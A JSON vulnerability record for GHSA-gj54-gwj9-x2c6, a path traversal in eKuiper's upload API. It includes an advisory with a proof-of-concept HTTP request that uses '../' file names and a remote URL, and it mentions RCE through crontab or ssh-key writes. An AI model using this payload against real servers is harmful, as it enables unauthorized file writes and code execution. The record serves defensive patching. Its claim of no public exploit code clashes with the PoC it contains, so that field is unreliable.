{"answers":{"affected":"6 open source packages ship an affected version, including github.com/lf-edge/ekuiper and github.com/lf-edge/ekuiper/v2.","exploited":"There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.","fix":"Apply the vendor's patch.","what":"GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-gj54-gwj9-x2c6 and fix it if it is affected.\n\nWhat it is: GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/lf-edge/ekuiper (Go): affected all versions; no fix listed\n- github.com/lf-edge/ekuiper (Go): affected all versions up to 1.14.7; no fix listed\n- github.com/lf-edge/ekuiper (Go): affected all versions up to 1.14.7; no fix listed\n- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0\n- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0\n- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/ (Markdown: https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/index.md)","id":"GHSA-gj54-gwj9-x2c6","markdown":"https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/index.md","name":"GHSA-gj54-gwj9-x2c6","record":{"aliases":["GO-2025-3800"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["code_execution","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"eKuiper stream processing","requires_auth":"none","summary":"Unauthenticated attackers can write arbitrary files via path traversal in the upload API, potentially achieving remote code execution.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := \u0026fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","id":"GHSA-gj54-gwj9-x2c6","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"path_traversal","year":"2025"},"n_packages":6,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"GO-2025-3800"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":["1.14.7"],"package":"github.com/lf-edge/ekuiper","purl":null,"source":"GHSA-gj54-gwj9-x2c6"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":["1.14.7"],"package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"GHSA-gj54-gwj9-x2c6"},{"ecosystem":"Go","fixed":["2.2.0"],"introduced":["0"],"last_affected":[],"package":"github.com/lf-edge/ekuiper/v2","purl":null,"source":"GHSA-gj54-gwj9-x2c6"},{"ecosystem":"Go","fixed":["2.2.0"],"introduced":["0"],"last_affected":[],"package":"github.com/lf-edge/ekuiper/v2","purl":"pkg:golang/github.com/lf-edge/ekuiper/v2","source":"GHSA-gj54-gwj9-x2c6"},{"ecosystem":"Go","fixed":["2.2.0"],"introduced":["0"],"last_affected":[],"package":"github.com/lf-edge/ekuiper/v2","purl":"pkg:golang/github.com/lf-edge/ekuiper/v2","source":"GO-2025-3800"}],"products":null,"published":"2025-07-03","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can write arbitrary files via path traversal in the upload API, potentially achieving remote code execution.","url":"https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/"}